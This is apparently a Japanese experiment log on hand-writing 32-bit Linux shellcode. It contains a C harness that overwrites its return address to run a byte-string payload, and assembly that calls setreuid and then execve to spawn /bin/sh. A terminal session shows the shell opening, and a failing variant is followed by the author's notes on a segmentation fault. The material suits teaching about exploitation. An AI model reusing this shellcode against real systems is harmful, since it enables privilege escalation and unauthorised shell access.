----- unsigned char payload[]="\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; int main(void){ int *retadd; retadd = (int *)&retadd + 2; (*retadd) = (int)payload; return 0; } ----- ----- .global main main: #setreuid xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx movb $0x46, %al int $0x80 #execve xorl %eax, %eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp, %ebx pushl %eax pushl %ebx movl %esp, %ecx xorl %edx, %edx movb $0xb, %al int $0x80 ----- なぜか、EXECVEのところでEAX以外のレジスタを利用するとエラーが出る(セグメンテーション違反)。 defolos@glazheim:~$ gcc test.c defolos@glazheim:~$ ./a.out sh-2.05b$ exit exit ecxは途中で書き換えられる事がないため、NULLのプッシュにecxを利用しても本来正常に動作するはずである。しかし、このシステムでは何故かeax以外利用できない。eaxにはsetreuidの時に0x46を入れてしまっているので、xorをもう一度やる必要が出てしまう。さらに、setreuidの成功時の戻り値は0であるので、setreuidが終った後のeaxの値は0になっているはずである。つまり、execveの前のxorは無くてもNULLをプッシュできる。しかし、xor %eax, %eaxの行を削除するとセグメンテーションエラーが発生する。 ----- #execve xor %ecx, %ecx push %ecx push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %ecx push %ebx mov %esp, %ecx xor %edx, %edx mov $0xb, %al int $0x80 ---- defolos@glazheim:~$ gcc test.c defolos@glazheim:~$ ./a.out セグメンテーション違反です 前世代の実験環境では成功しており、同様の記述方法が書籍で紹介されていることから、おそらくこのエラーは、今回実験を行ったシステムだけに起こる現象だと考えられる。